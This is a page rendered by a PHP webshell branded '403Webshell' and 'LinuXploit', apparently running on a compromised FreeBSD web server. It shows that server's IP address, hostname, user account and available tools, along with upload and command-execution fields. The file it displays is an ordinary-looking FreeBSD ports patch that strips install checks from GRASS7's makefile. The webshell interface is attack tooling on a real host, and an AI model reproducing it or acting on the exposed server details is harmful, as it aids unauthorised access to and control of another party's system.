403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/databases/grass7/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/databases/grass7/files/patch-include_Make_Install.make
--- include/Make/Install.make.orig	2021-10-17 18:22:04 UTC
+++ include/Make/Install.make
@@ -37,7 +37,6 @@ ifeq ($(strip $(MACOSX_APP)),1)
 	$(MAKE) install-macosx
 else
 	$(MAKE) install-check-parent
-	$(MAKE) install-check-writable
 	$(MAKE) install-check-prefix
 	$(MAKE) real-install
 endif
@@ -54,22 +53,7 @@ install-check-parent: | $(DESTDIR)
 	while [ ! -d "$(DESTDIR)$$INST_PATH" ]; do \
 		INST_PATH=`dirname $$INST_PATH`; \
 	done; \
-	if [ ! -d "$(DESTDIR)$(INST_DIR)" -a ! -w "$(DESTDIR)$$INST_PATH" ] ; then \
-		echo "ERROR: Directory $$INST_PATH is a parent directory of your" >&2 ; \
-		echo "  install directory $(INST_DIR) and is not writable." >&2 ; \
-		echo "  Perhaps you need root access." >&2 ; \
-		echo "  Installation aborted, exiting Make." >&2 ; \
-		exit 1; \
-	fi
 
-install-check-writable:
-	@ if [ -d "$(DESTDIR)$(INST_DIR)" -a ! -w "$(DESTDIR)$(INST_DIR)" ] ; then \
-		echo "ERROR: Your install directory $(INST_DIR) is not writable." >&2 ; \
-		echo "  Perhaps you need root access." >&2 ; \
-		echo "  Installation aborted, exiting Make." >&2 ; \
-		exit 1; \
-	fi
-
 install-check-prefix:
 	@ result=`echo "$(DESTDIR)$(INST_DIR)" | awk '{ if ($$1 ~ /grass/) print $$1 }'`; \
 	if [ "$$result" = "" ] ; then \
@@ -77,12 +61,6 @@ install-check-prefix:
 		echo "  does not contain the word 'grass'." >&2 ; \
 		echo "  It is highly recommended that the word 'grass' be part" >&2 ; \
 		echo "  of your install directory to avoid conflicts." >&2 ; \
-		echo "  Do you want to continue? [y/n]" >&2 ; \
-		read ans; \
-		if [ "$$ans" != "y" -a "$$ans" != "Y" ] ; then \
-			echo "Installation aborted, exiting Make." >&2 ; \
-			exit 1; \
-		fi; \
 	fi
 
 ifneq ($(strip $(MINGW)),)

Youez - 2016 - github.com/yon3zu
LinuXploit